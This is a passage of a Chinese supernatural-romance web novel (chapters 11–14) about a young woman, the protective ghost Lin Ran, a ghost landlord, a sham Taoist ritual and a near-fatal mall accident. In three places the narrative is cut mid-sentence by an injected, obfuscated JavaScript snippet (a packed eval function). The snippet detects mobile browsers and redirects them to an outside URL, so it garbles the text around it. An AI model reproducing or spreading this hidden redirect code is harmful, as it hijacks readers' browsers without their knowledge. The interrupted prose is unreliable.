她现在要是把事情闹大，到底谁占理还说不定呢，要不是房东小陈哥……不是，你都不是人了，还给人当房东，纪明霜一边心疼自己交的房租，又觉得整理东西搬家很麻烦，就连热乎乎的油炸豆腐也不香了。 林然说，“我不喜欢味道很大的食物，不过你要是生气，我就去把房东打一顿，你碰不到他，但我能碰到。” 看着他认真的神情，纪明霜这才露出一个笑容，“谢谢你，林然。” “如果真的想谢我的话，那你就努力多活几天。”林然似乎有点不好意思，别过了头，不再看她。 “嗯，我尽量。” 一人一鬼继续走着，纪明霜的心情好了一点，话也变多了，“说起来，林然，如果你能上我的身，为什么不给我留点信息呢，比如留下一个纸条什么的，这样我们就能交流了吧。” 11. 第11章 笨蛋 林然看了她一眼，“你以为我没试过吗，你的生活已经够清贫了，我不想再看到你花钱去看心理医生，然后跟医生哭诉说你精神分裂了。” 纪明霜：“……” 仔细想想，这确实是她能干出来的事，毕竟她虽然贫穷一点，节俭一点，但也是非常惜命的。 “说起来，你为什么会一直跟着我啊？” 林然说，“我不知道……你呢，你有什么头绪吗？” “没有。”这时，纪明霜想到了另一个可能，“也许……杀死你的凶手就是我呢……呃，等等，我觉得可能性也不怎么大，对吧，哈哈哈哈……” 林然颇为无奈地看了她一眼，“胡思乱想什么呢……你果然是笨蛋吧。” “可是……”纪明霜继续吃油炸豆腐，“现在这样好奇怪啊，你为什么一直跟着我……也许你有什么执念，但是被你忘记了，等等，你该不会让我帮你找回丢失的脑袋或者洗清冤屈吧？” 闻言，林然上上下下地打量了她一番，“就你？” 纪明霜：“？” “你还是省省吧，你要是能活过三个月，我都得谢天谢地。” 纪明霜：“喂！” 纪明霜和林然一边慢悠悠地往回走，一边有一搭没一搭地聊天，回程的时间过得很快，不知不觉就到了家，纪明霜看到雁雁正坐在她家的门口，背靠着冰冷的墙壁，摆弄着手里的东西，好像正在跟谁说话。 她远远地看到纪明霜和林然走出电梯，扔下了手里的东西，招了招手，从另一边的楼梯跑走了。 “现在的小孩……都不用做家庭作业的吗？”纪明霜走了过去，看到雁雁扔下的东西正是一个灰灰的小娃娃。 “她看上去才刚上小学吧……这个年龄的小孩是没有书面的家庭作业的。”林然说。 “现在的小孩还蛮轻松的呢，我记得我小时候……”纪明霜的目光从林然的脸上移开，想说的话说到一半就停住了，她本来以为只会和以前一样，痛一下之后，痛感就会慢慢减轻，没想到疼痛感并没有减弱，现在是那种脑浆搅晕一样的头晕和头疼，就好像有人在用冲击钻的钻头在钻她的脑袋，纪明霜蹲在了原地，“嘶，好痛……” “你还是尽量不要回想过去的事了……”他说。 与此同时，纪明霜的痛感无影无踪，取而代之的是林然上了她的身，然后面无表情地站起来，“嘶，确实好痛。” “谢……谢谢？”纪明霜试探着说。 “嗯，你确实应该谢谢我。”纪明霜听到‘自己’说。 嗯，换了一个灵魂就是不一样，连她的声线都变得高贵冷艳起来了。 林然拎起了那个小娃娃，对纪明霜说，“这个娃娃和之前的娃娃不一样，你看，棉布有一点旧，但是质量很好，里面的棉花有点黄，但是挺干净也挺蓬松……针脚也很细密，比之前的娃娃质量好多了。” 纪明霜：“那也不要放在我家门口啊，这是我家还是娃娃家啊，现在进门，我要跟那只鬼谈一下。” 据纪明霜所知，她同居的鬼可不止林然一个，还有另一只小男孩鬼呢。 因为她的无视，还有林然的出现，那只小鬼才开始努力降低存在感，虽然是鬼，但也是个小男孩，纪明霜都能想象到，等她和林然出门之后，那个小鬼就会像装病在家等爸妈出门上班就开始玩电脑的小孩子一样，开始他的狂欢。 “你的头还很痛，先休息一会吧。”林然坐在了客厅的小沙发上，他并没有靠在沙发的靠背上，而是坐直了身体，将一只腿架在另一只腿上，架起的脚尖自然下垂，嗯，是非常优雅从容的坐姿。 客厅里没有镜子，纪明霜看不到她自己，但她大致脑补了一下，唔，她这么坐着的话，居然还蛮有气场的呢。 但林然很快调整了坐姿，他把膝盖和腿并拢，而后倾斜到另一侧，标准的【公爵夫人倾斜式】坐姿，“如果我没记错的话，女生应该是这么坐的吧。” 纪明霜：“不知道，反正我会摊在沙发上玩手机这样。” 林然笑了笑，没有说话，他闭上眼睛，揉了揉太阳穴，纪明霜知道他还在头疼，一人一鬼一时无话。 过了一会儿，纪明霜重新拿到了身体的自主权，头也不怎么疼了，于是，林然把房间里的小鬼拎了出来。 这个小鬼现在倒是显得弱小、可怜又无助了，但纪明霜还记得，她刚搬来的时候，这个小鬼是怎么吵得她睡不着觉的。 纪明霜本想好好教育教育他，至少死去的人不要打扰活着的人，这对她来说可能没什么，但对雁雁来说却是很危险的，然而，纪明霜失策了，这个小鬼现在还没学会说话呢，只会“啊啊呀呀”地叫两声，难道跟雁雁说话的鬼不是他？ 林然提着小鬼的领子，“如果不是他，难道是……你的房东？” “怎么可能？”声音是从门口传来的。 纪明霜和林然回头看去，只见房东小陈哥站在公寓的门口，这次，他的脸色更加虚弱苍白，嗯，很有鬼的样子。 纪明霜皮笑肉不笑，“小陈哥，也许我们应该谈一谈……你这个混蛋，你都不是人，还租房给我，把我的房租还回来！！” 小陈哥明显是被她吓到了，他后退了两步，位移到了门口，身体的一半已经穿到门外，“等等，我可以解释……” “解释什么解释，我赚钱容易吗，你都用不着钱，还坑我的房租！” “哎不是。”小陈哥本来想跑，却被林然拦住了去路，于是他苦着脸说，“那个，嗯，你的房租我已经没法还你了，但是……但是你可以继续住在这里，这套房子的确是我家的……” “但这套房子不在你名下啊，等你的家人找过来，你让我怎么解释呢？” “那……那你就提我的名字……” “哦，也就是说，我不仅非法入侵住宅，还满嘴的胡言乱语，是吗？” “但是这里不一样，你、你也知道这里很阴，你好好解释一下，我家人会相信的……所以，能不能不要打我……” 纪明霜笑了笑，“不能。” “我、我给你降房租！”小陈哥退无可退，只能双手合十地祈求。 听到房租还能降，纪明霜有些迟疑，“你说的话管用吗？” “管用，管用，你可以联系我的家人，我把联系方式给你，但暂时不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419824|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 联系他们……等租期到了再联系，行吗？” “为什么？” “因为你交的房租，被我放在别的地方了，不是很方便拿出来，所以……如果现在联系他们，你就得再交一份房租……” 纪明霜：“不行！” “那就暂时这样吧……”小陈哥讨好地笑了笑，“我觉得你在这里住得也不错，而且跟邻里邻居相处得也很好……” “行吧……”纪明霜叹了口气，“所以你为什么要把房子租给我啊？” “我、我发誓，我没有要害人的意思，但是我死后，一直徘徊在这里，别的鬼都比我厉害，我也不敢去招惹，能跟我说话的人，就一楼织毛衣的老太太，或者是那个叫雁雁的小姑娘……” “所以，其实是你在跟雁雁说话？” “不是不是，没有的事，我的话还没说完呢，我实在不擅长跟小孩子说话，老人家的方言我也听不懂，我……我实在是太过孤单了，这个时候你又突然出现，所以，所以我就……”小陈哥举手发誓，伸出三根胖胖的手指，“但是我保证，我还是有良心的，没有跟小孩说话……要是有的选，谁会带小孩住在这里啊，只有雁雁的妈妈别无他法……所以雁雁在这里没有同龄的朋友，现在小孩子四点钟就放学了，她妈妈又很忙，根本没时间管她，虽然不能说话，但小孩和小鬼还是玩在了一起……” 纪明霜的目光移向了被林然提着领子的小鬼，小鬼吓得瑟缩起来，搞得纪明霜像个坏人一样。 “唉，其实这个小鬼也蛮可怜的……总之，因为这个小鬼的事，我家人不会来的，你就在这里放心住吧。” 纪明霜扯了扯嘴角，“鬼可是很会骗人的呢，空口无凭，你让我怎么相信你呢？” 小陈哥说，“那个，要不我就告诉你……我的秘密？” “比如？” 小陈哥硬着头皮说，“那个……嗯，我的手机密码，我家人一直没猜出来，我把密码告诉你，但是你千万不要看我的浏览记录还有购买记录啊……” 纪明霜：“要留清白在人间是吧，但是你的手机在哪我都不知道，我要怎么求证这件事呢？” “在我家人手里，我爸妈，或者我哥……”小陈哥说，“我没有说谎，” “还不够，再来一点。” “还有就是……” …… 听小陈哥讲了一遍他从小到大犯的错，闯的祸，纪明霜感觉小陈哥的可信度上升了不少，看在降低房租的份儿上，就先放过他吧。 “但是，我还有个问题，保安大叔身上的女鬼是什么来历？” 小陈哥挠了挠并不存在的头，“这个啊……这个我还真不知道，保安大叔以为女鬼在你的公寓里，但她一直是坐在那个保安大叔的肩膀上的，妈呀，她的样子太吓人了，连我看了都害怕……我也是偶尔才能看到她，看不到的时候，估计她也是挂在保安大叔的身上的……她应该是想让这个小鬼消耗保安大叔的阳气吧，这样下去的话，迟早有一天……” 门口传来物品落地的声响，纪明霜立刻打开了房门，只见保安大叔的手电筒掉落在地，而保安大叔的神情无比呆滞和惊悚。 12. 第12章 道长 没等纪明霜说话，保安大叔就转身跑了，连掉在地上的手电筒也没捡。 纪明霜表示理解，人之常情嘛，谁看到一扇打开的门后面有三个鬼都会非常惊恐的，不过这三个鬼里，只有这只小鬼长得比较吓人吧。 嗯，准确地说，刚刚，这里，有四只鬼，包括保安大叔肩膀上的那只女鬼。 这次，纪明霜总算看清了那个女鬼，她的皮肤白得发蓝，指尖紫得发黑，眼里没有眼白，而是漆黑一片，已经染好的头发是黄色，新长出来的头发是黑色，貌似正处于染发的尴尬期，十根手指上，有三个美甲，生前应该也是个爱美的女孩子，看起来也就二十岁左右。 她的手指紧紧扣着保安大叔的脸，指甲似乎都陷进了大叔的肉里，但保安大叔应该感觉不到，最多是感觉身上累一些，沉一些，周围冷一些，暗一些。 看她的样子，怨气很重呢，应该是死于非命吧，她这样缠着保安大叔，她的死多半是跟保安大叔有关。 “之前这个老保安是看不到我的，今天却能听到我说话了……”小陈哥说，“算了，你别理他，我之前还看见他往你的门缝里插香呢，他自己做亏心事，却给你招来邪气……冤有头，债有主，别拖累你和我才好。” 纪明霜点点头，确实是这个道理，她看了林然手里拎着的小鬼一眼，“保安大叔的状态确实变差了，难道是因为这家伙……你以后离雁雁远一点，知道吗？” 小鬼开始挣扎：“啊……噫！” 林然拎住他的领子晃了晃，小鬼立刻：“嗯！” 纪明霜：“……” 白天发生的事并没有影响纪明霜的睡眠，只不过，纪明霜还是习惯半夜起来喝水。 她穿着拖鞋，没有开灯，打开屋门，走到客厅，喝了半杯水之后，她看了下时间，现在是凌晨三点，而林然居然不在，客厅里，只有小鬼蹲在墙角自闭。 纪明霜本想继续回去睡觉，但她隐隐约约听到了谈话声。 谁啊，大半夜的。 纪明霜轻手轻脚地走到门口，小心地挪开了猫眼上的遮挡盖，看到外面漆黑一片，她又把遮挡盖盖了回去。 她贴着门静听，听不真切，只听出是两个男人在谈话。她总觉得这件事有些奇怪，于是从桌上拿了一个一次性纸杯，贴在门上，这才听了个大概。 “道长，这样就没问题了吗？”这是保安大叔的声音。 这位道士说，“这边已经够了，我们先去另一边。” “可是……” “不用担心，天亮之前完成即可，若是天亮之前不能完成，那可就……” “那会怎样？” “时间紧迫，去了再说。” 两人离开之后，纪明霜才发现，林然正站在她的身后，没有发出半点声音。 对于纪明霜来说，只不过是身后多了一个鬼，相较而言，还是门外的两个人更危险，“林然，外面的人是谁啊？” “是那个保安大叔，和他请来的一个道士。”林然说。 “女鬼明明是挂在他的身上，他来这里干什么……” “也许是为了这个小鬼而来，也说不定呢。”他穿过她，又穿过门，去了门外，保安大叔和老道士已经坐着电梯下楼去了，他折返回来，叮嘱道，“我跟过去看看，你回去睡觉吧。” 纪明霜打了个哈欠，“嗯。” 然而，躺回床上之后，纪明霜却睡不着了，她抱着被子，翻过来，滚过去，躺了好一会儿，都没见到林然回来，他不会被那个道士收走了吧？ 仔细一想，也不是没有这样的可能，想到这里，纪明霜坐了起来，她走到家门口，在门口等了一会儿，既没有听到人声，也没有看到鬼影，更没有看到林然，她把家门钥匙握在手心，小心翼翼地打开门，一边吐槽这在恐怖片里简直就是作死情节，一边悄悄地走了出去。 林然的情况很复杂，不是随便找一个道士就能超度的，比起超度，把他封印或者消灭还要来得更容易些，早知道就不让他出去了，保安大叔和老道士爱干什么就干什么，反正一不用她花钱，二不关她的事，她本来应该喝完水之后就上床睡觉的，明天还要上班呢。 纪明霜没有坐电梯，而是选择了走楼梯，刚走下一阶台阶，她就感到一阵冷风，仔细一看，才发现楼道的窗户没有关，外面的风正在往进灌，而她身上只穿着薄薄的睡衣，她扶着扶手，一步一步地往下挪，这里太黑了，她怕被人发现，连手电都不敢用。 这时，楼道里传来电梯运转的声音，她立刻躲在楼梯间的门后，贴墙站好，把自己隐藏在阴影中，静静地等待着。 保安大叔和老道士呢？ 纪明霜有些犹疑，林然呢，他去哪里了？ “纪明霜。” 是林然的声音。 “嗯。”她小声地回应道。 林然突然出现，纪明霜终于放下了心，他和她一起待在楼梯间门后的狭小空间里，电梯停止了运行，楼道里没有声音，纪明霜走到电梯前，看到电梯停在了一楼。 是结束了吗？ “我不是跟你说过不要出来吗？”林然说。 纪明霜理亏，支支吾吾的，“我……我只是从十三楼走到了十二楼……” “你的洗衣液用完了。”林然说。 纪明霜：“啊？” 她的洗衣液确实用完了，但是跟这件事有什么关系吗？ “你出去买洗衣液，回来的时候遇到了雁雁的妈妈，你一边跟她聊天，一边走出电梯，但她家在十二楼，你家十三楼——你准备走楼梯去十三楼，在上楼的时候，你踩到一根铅笔，然后从楼梯上摔了下去，你的后脑勺正好重重地撞在一根凸起的尖锐长钉上，你失去了意识，但在重力的作用下，你的伤口被持续撕裂。” 纪明霜感觉后背一凉，“我……突然觉得，用洗衣粉也不错啊，而且我还有肥皂……” “嗯……你当时还没死。”林然说，“虽然你的头骨骨折了，伤口像裂谷一样骇人，整个人像烂泥一样瘫软在地上，但你还有意识，准备爬着求救，你被人发现并及时送医……但你最后还是死于破伤风。” 纪明霜抬头看着他，门后的空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419825|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间实在不大，她和他的距离实在是太近了，她有些不自在地低下了头。“我……我担心你被那个道士收走了……我们一起回去吧？” “……要是真有那么容易就好了。”林然说，“好了，这里太冷了，回去睡觉吧，我送你？” 她比他矮一个头，两人站在一起的时候，她的头顶大概能够到他的下巴，而她的脸大概能碰到他的胸口，她平时总是抬头看他，杏眼睁得圆圆的，这次理亏，她显得格外乖巧，低着头站在他面前，他能看到她头顶的发旋儿，他想摸摸她的头，却又收回了手。 纪明霜说，“放心，这次我会小心的。” 但林然还是把纪明霜送回了家，甚至还盯着纪明霜躺进了被窝里，这才离开，而后，林然循着人声，来到了公寓楼的地下室。 现在已经凌晨三点半了，保安大叔在老道士的指挥下，在楼里的各处都摆了法阵，有贴的符箓，插着线香的米饭，系着红布的栏杆，林然也不知道这些东西到底管不管用，只觉得……至少目前对他没有什么影响。 最后一件事是打开特定位置的窗户，但有一扇关键位置的窗户却怎么打也打不开，眼看就要误了时辰，老道士说，“时间不够了，直接把窗户打破，赶快！” 保安大叔跑回值班室，找到一把生锈的大铁锤，屏住呼吸，用力一抡，窗户应声而裂，接下来的几锤，保安大叔用尽了全力，这才把玻璃全部打破，玻璃渣子碎了一地，而后，他才喘着粗气，扶了扶头上的矿灯，“道长，这样就行了吧？” 在矿灯的光照下，林然看清了老道士的模样，他一身灰蓝色的道袍，白面黑底的朴素布鞋，背着一个鼓鼓的藏蓝色包袱，灰白色的长发梳得很整齐，脸上蓄了须，不多不少，正好三缕，他手上的皱纹不少，脸上的皱纹却不多，显得仙风道骨的，但林然看到了他发间还有两个假发片，胡子的根部似乎也有胶水的光泽，老道士笑着说，“放心，放心。” “但我还是有点担心，道长，如果明天有人破坏了法阵，那岂不是……” “非也，非也，法阵在线香燃尽的时候，就已经成了，之后就算是有人破坏，法阵的效力也仍然在的。” “可是，我还是有点担心……” “莫慌，莫慌，若你有事，就再来找我，我们可以做法事，拜干亲，请神上身，办法多的是，只是……” “只是什么？” 老道士斜斜地看了他一眼，掏出了他的收款码，保安大叔心领神会，立刻扫码付钱。 “还有就是，道长，因为那个女鬼，我暂时离不开这里，如果法阵能成……我能去道观吗？” “我们道观只招本科及以上的道士。”老道士笑道。 保安大叔一噎，“啊？” “那敢问道长的毕业院校和专业？” “不才，不才，二本院校，土木工程专业。” “那道长为什么会成为道士呢……” 道长从怀里拿出一个厚厚的笔记本，翻到最后一页夹着的一张合照，重重叹了口气。 “……因缘际会罢了。” 13. 第13章 钟表 分别之前，道长从笔记本里拿出一张符箓，递给了保安大叔，“来，拿着这个，要贴身携带，千万不要沾水。” 保安大叔没有伸手去接，而是小心翼翼地说，“这……我已经老了，平时手会抖，手汗又多，我能给符纸上个塑封吗？” “塑封？”老道士冷笑一声，“开什么玩笑，封上就没用了。” 保安大叔接过符纸，连忙点头。 林然没有多留，回到了十三楼，纪明霜还没睡觉，正在玩手机，见她还活着，林然这才松了口气，“太好了……我一直都在担心，担心你趁机死了。” “怎么可能嘛……” “怎么不可能，每次都是这样啊……我一不留神，你人就没了。” “好吧，我会努力活下去的……”纪明霜钻进了被子里，“现在你可以从我的房间里出去了吧。” 林然：“嗯。” 纪明霜这才放心地闭上了眼睛，沉入梦乡，然而，第二天，她是被林然叫醒的。 “纪明霜，纪明霜，醒醒，你可能迟到了……” “迟到就迟到嘛……等等，迟到？！”纪明霜睁开双眼，而后，她看到林然站在她的床前，尽量别过头不去看她，这时，纪明霜才注意到，她睡衣的扣子，全部都解开了。 全部都解开了…… 天哪…… 这是怎么回事？ 纪明霜赶紧遮住身体，大致回忆了一下，昨天晚上，林然离开了她的房间，但她还是有些不自在，于是认真地系好了睡衣的所有扣子，但是这样也太热了，于是，她在半梦半醒之间，把扣子全部解开了。 纪明霜把扣子系好，又觉得不对，穿什么睡衣，应该换衣服，她今天还要上班呢！ 她按了下手机，手机没有反应，应该是没电了，但外面的天已经很亮了。 “我好像已经迟到了……”她说。 林然这才看向她，“你的手机没电关机了，所以你的闹钟没有响，房间里没有钟表，我也不知道时间，天渐渐亮了，这才来叫你。” “那你去别的地方看看时间嘛……” “我怕你会偷偷死掉……”林然说。 “我怎么会做这种事嘛……”纪明霜不敢看他的脸，“那个，你先出去吧，我……我要换衣服了。” 林然离开之后，纪明霜掀开被子，换好衣服，洗漱完毕，骑着她的小电驴到了公司。 到公司打卡之后，她才松了一口气，她把手机放在办公桌上充电，虽然她看不到林然的身影，但她知道林然就在她的身边，她一边打水，一边小声地说，“抱歉啦，林然，谢谢你把我叫醒，不然我就真的会迟到了……其实你也没有叫醒我的义务，没给手机充电是我的问题。” 她听见他说，“没关系，反正我又不用睡觉。” 他这么说，纪明霜心里更愧疚了，“抱歉……” “没关系……”林然顿了顿，说，“那个，我也很抱歉，我一不小心看到……” 纪明霜开始脸红，“停停停，不要提了，呜呜，我们就装作这件事没发生吧……” “好。” …… 周五的时间总是过得比周三快，虽然没什么科学依据，但纪明霜并不在乎，因为她下班啦！ 纪明霜当晚再次认真地系好了睡衣的扣子，但是当她第二天醒来时，她的扣子又是全部解开的。 哈，哈，果然又是这样。 纪明霜抱紧被子，开始发呆…… 早在初次见面的时候，她在林然面前，就没什么隐私可言了，但是……但她还是会不好意思的啊啊啊。 所以，今天去购物吧？ 至少要买一身合适的新睡衣吧，这次绝对不能买衬衫款式的睡衣了。 于是，纪明霜决定，先去购物，然后去吃午餐，最后再吃三个冰激凌！ 她特意戴上了耳机，这样，和林然一起出门的时候，就不像是在自言自语了。 她的心情蛮不错的，出门的时候还和小陈哥打了个招呼，路过楼下保安室的时候，看到保安大叔正躺在放倒的椅子上，轻轻摇着他的那把破蒲扇，身边的收音机里滚动播放着《大悲咒》，桌上的香炉里还插着三根香，两短一长，香气呛得人头晕。 到商场之后，纪明霜先去挑了一身新睡衣，今天正好有新店开张，纪明霜品尝了免费试吃的甜品，而后，她和林然逛了很久，还特意去了商场所在商业街的钟表店，这家钟表店有三层，左边是连锁金店，右边是定制珠宝店，她仔细看过了店里的每一个钟表，有实木的落地钟表，有复古的庭座钟表，还有机械的欧式台钟，看上去就非常昂贵，纪明霜想着，也许她可以给林然买一个不错的挂钟？ 然而，纪明霜好不容易看上一个优雅又可爱的胡桃木贝壳挂钟，下一秒她就死心了，因为这个挂钟的价格是：折后一万两千八百块。 对了，这个折扣，不是来了就能打折，而是需要先加入会员，会费只要五百二十块哦。 纪明霜对林然说，“好了，我决定了，一会我们去小学门口的文具店，给你买一个小闹钟，预算是二十块。” 纪明霜的杏眼本来就偏短，她仰头看他，就显得更圆了，林然点点头，“好。” 看着他的眼睛，纪明霜又有点不好意思了，她低下头，默默地把挂钟的预算提到了两百元。 如果是她自己需要一个钟表，她肯定会买一个最便宜的基础款，但是……这应该是给林然的礼物吧？ 就当是……嗯，谢礼？ 想到这里，纪明霜笑了笑，她慢悠悠地逛了商业街，商业街虽然很长，但她感兴趣的店铺不多，她没买什么东西，但吃了不少小吃，不过嘛，午饭还是要吃的，纪明霜去了商场顶层的餐厅，点了一份单人餐，在等待出餐的时候，她在奶茶店买了一支冰激凌，坐在靠近护栏的座位上，俯瞰着商场的人流。 林然坐在她的对面，直直地盯着空气，看起来像是发呆，纪明霜拿着冰激凌在他面前晃了晃，“怎么，你也想来一口吗？” “你吃冰激凌摔死过。” 纪明霜把冰激凌收回来，歪了歪头，“……确定不是噎死？” 林然稍加思索，“对，你也噎死过。” 纪明霜报复性地舔了一口冰激凌，又冰又甜，是草莓味，“怎么可能。” 林然说，“对，就是这样， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419826|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在你往右边坐一点。” 他的表情非常认真，语气也不像是开玩笑，纪明霜虽然不明所以，但也照做了，“是这样吗？” “把你买的东西提好，还有你的包包，也要拎在手里。” 纪明霜说，“为什么突然这么说，这样我就没手吃冰激凌了……” “这位同学，你要走了吗，如果你要走，能不能把座位让给我……”刚刚跟在纪明霜后面排队的小情侣找到机会，试探地问道。 “啊……可……” 纪明霜说话的同时，林然也说话了，“拒绝他们。” “不好意思，我没准备走啊。” “可是你提着东西站了起来……”小情侣还想说什么，男生突然指着纪明霜的后面，大叫了一声，女生也吓得失去了力气，坐在了地上。 纪明霜也吓了一大跳，没想到看似结实的金属护栏连同钢化玻璃一起掉了下去，落地的声响很大，楼下也是一片叫喊声，整个商场都乱了套，值班经理很快报了警，警察分局就在商业街的尽头，警察出警的速度很快，他简单地问了纪明霜几句，就结束了问话。 纪明霜压根碰都没碰那个护栏，而且就算她靠了那个护栏，她也是受害者，只能说，幸好无人伤亡，只有财物损失。 现在，纪明霜仍旧心有余悸，“商场一楼全是玻璃渣，如果我摔下去了，就算没有摔死，也会疼死的吧。” 林然说，“嗯……差不多吧……先是失重的感觉，就像蹦极一样，然后眼睛会充血，什么都看不清，鼓膜也破裂，耳边都是蜂鸣，落地之后，会弹起来，那时还没什么痛感，大脑是空白的，也没有时间认知，肺部漫血，呼吸困难，骨头折断，血肉迸裂，断骨穿出了肩膀，全身都是挫伤，这时的痛感非常明显，不过，没过多久，你就死了。” 纪明霜心有余悸，“那现在呢，我现在要怎么办？” 他说，“刚刚的位置没有人坐，你的午饭还没吃，现在先去吃饭吧。” 刚刚在吃饭的人都去围观了，还有人在拍照发朋友圈，纪明霜的周围没什么人，也没有人在意她的自言自语。她原本准备吃三个冰激凌的，最后也只吃了一个。 吃完午饭之后，纪明霜在导航软件上看到，商业街的另一头的小巷子里有一家小小的钟表店，逛完钟表店之后，纪明霜可以顺着小巷子走到大路的路口，那里有一个公交站，可以直接坐公交回家。 这家不起眼的钟表店和纪明霜刚刚逛过的钟表店相比，确实简陋多了。深棕红色的招牌，褪了一大半金色的招牌字体，阴暗浑浊的玻璃，掉了大片红漆的木门，门口停着一辆深红色的破旧三轮车，这家钟表店的入口位于一楼，但钟表店的本体在地下室里，纪明霜沿着楼梯走了进去，店里有些昏暗，墙壁上整整齐齐地挂满了大大小小的钟表，因为光线的原因，钟表显得有些发黄发旧了，一个头发花白的老大爷戴着眼镜，坐在印有‘换电池’字样的玻璃柜台后面，而老爷爷旁边的老奶奶低头跟老爷爷说着什么，听她说完之后，老爷爷才抬起头来，招呼道，“小姑娘，想要买什么呢？” 纪明霜眯了眯眼，如果她没看错的话，这个老奶奶应该不是人吧…… 14. 第14章 小白 虽然如此，但纪明霜不准备多管闲事，她说，“随便看看。” 老爷爷继续低头看报纸了，“行。” 不过，比起看报纸，其实应该说是听报纸更合适吧，因为旁边的老奶奶正给他一字一顿地慢慢地念着最近的新闻，纪明霜在店里转了两圈，都快挑花了眼，最后恶趣味地挑了一个粉色小猪图案的挂钟，“林然，这个挂钟怎么样啊。” 林然仔细端详了一番，认真地说，“嗯……说实话，和你有点像。” 纪明霜，“才没有呢，这是送给你的礼物哦。” 林然有点诧异，“……谢谢？” 纪明霜得意地笑了笑：“不客气。” 这个挂钟的价格并没有超预算，纪明霜原本准备买完挂钟就离开，却被老爷爷叫住了，“小姑娘，稍等一下，请问你是住在那栋闹鬼的公寓吗？” “哪栋？”纪明霜问道。 要知道，闹鬼的公寓多了去了，谁知道他说的是哪一栋呢。 “就是……就是那栋灰灰公寓。” 纪明霜回头，仔细打量着他：“你……是怎么知道的？” 老爷爷放下了手里的报纸，看了旁边的老奶奶一眼，说道，“大概是气质吧……那栋公寓楼里的住户都有一些相同的特质，所以……” 纪明霜有些警惕，“你说的特质不会是贫穷吧……” “这可不是我说的啊。”老爷爷笑了笑，“哎呀，开玩笑的，总之，我想请你帮个忙，我爱人的姐姐现在就住在那里，我想请你帮忙送一点东西过去。” “那你自己怎么不去啊？”纪明霜试探着问道。 “因为我已经老了，身体也跟不上了，我是去不了啦，但她不想搬走，唉，那个地方挺阴的……” 纪明霜点了点头，“哦，那好吧，你要送什么东西，不会很沉吧？” “不沉，不沉。” 见纪明霜同意，老爷爷站了起来，在柜台下面翻找着什么，他先是抱上来两盒曲奇饼干，又拿出一罐中老年奶粉和另一罐核桃黑豆粉，还有两个火腿，用袋子打包好了。 他又拿出纸和笔，以及几个包装好的小点心，他把点心放在纪明霜面前的玻璃柜台上，对纪明霜说，“小姑娘，来，坐一会儿，吃点点心，我还有一封信要写，就麻烦你转交了，以后你来换手表、钟表的电池，我都不跟你要钱。” 说实话，这种事对于纪明霜来说，就是举手之劳而已，老人家要送过去的东西也并不是很沉，纪明霜坐了下来，安静地看着老奶奶跟老爷爷说着要写的内容，老爷爷的字写得很慢，但也很好看，不用垫格子纸，也能写得很整齐。 只不是老奶奶的方言，纪明霜是一个字也听不懂，不过看着这两人脸上幸福的笑容，想来他们的生活过得还不错。 把信装进信封，又把信封放进袋子里，老爷爷还给纪明霜留下了他的电话，以及他爱人的姐姐——方婆婆的地址，还给纪明霜塞了几个水果，纪明霜实在是拒绝不了，只好左手提着买来的睡衣，以及老人家送的三个苹果，右手提着老人家的礼物和信件，和刚刚买来的挂钟，坐公交回了家。 纪明霜按照地址，先去了方婆婆的家，方婆婆就住在公寓的底楼，这里的采光本来就不好，温度又低，就显得更阴森了，纪明霜敲了方婆婆的房门，很快，纪明霜就听到了一个老婆婆的声音，“不用换鞋了，请进吧。” 屋门应声而开。 纪明霜把门打开，走了进去，方婆婆正盖着小毯子，坐在椅子上织毛衣，她的头发全白了，精神却很好，纪明霜走到她面前，她的头没有抬，动作也没有停，她的毛线团放在旁边的小藤筐子里，随着她的动作轻轻转动着。 方婆婆坐在那里没有动，房间里也没有其它的人，到底是谁给纪明霜开的门？ 总不可能是方婆婆给纪明霜开了门之后就瞬移回去吧。 纪明霜把老爷爷拿给她的袋子交给了方婆婆，“方婆婆，你好，这个是钟表店的爷爷让我转交给你的。” 方婆婆这才停下了手里的动作，看着纪明霜和林然，露出一个意味深长的笑容，“哦，是你啊。” “你……认识我？” “嗯，小白跟我说起过你。” 小白…… 谁啊？ 靳尤白吗？ 感觉不是。 方婆婆笑了笑，“刚刚我妹夫打电话来，说了你要过来的事，我就在这等着了，估计你现在还不认识小白，小白可是很喜欢你呢……” 看纪明霜的眼神还是很清澈，方婆婆也不卖关子了，“你看，右边的柜子上有一个小篮子，你看看篮子里面的东西就明白了。” 纪明霜走了过去，看到篮子里装着两个已经做好的娃娃，和一个半成品的娃娃，这个娃娃与最近出现在她房间门口的娃娃如出一辙，只是她房门口的娃娃又脏又破，这些娃娃却很干净，还有一股阳光的自然清香。 “这些娃娃……” 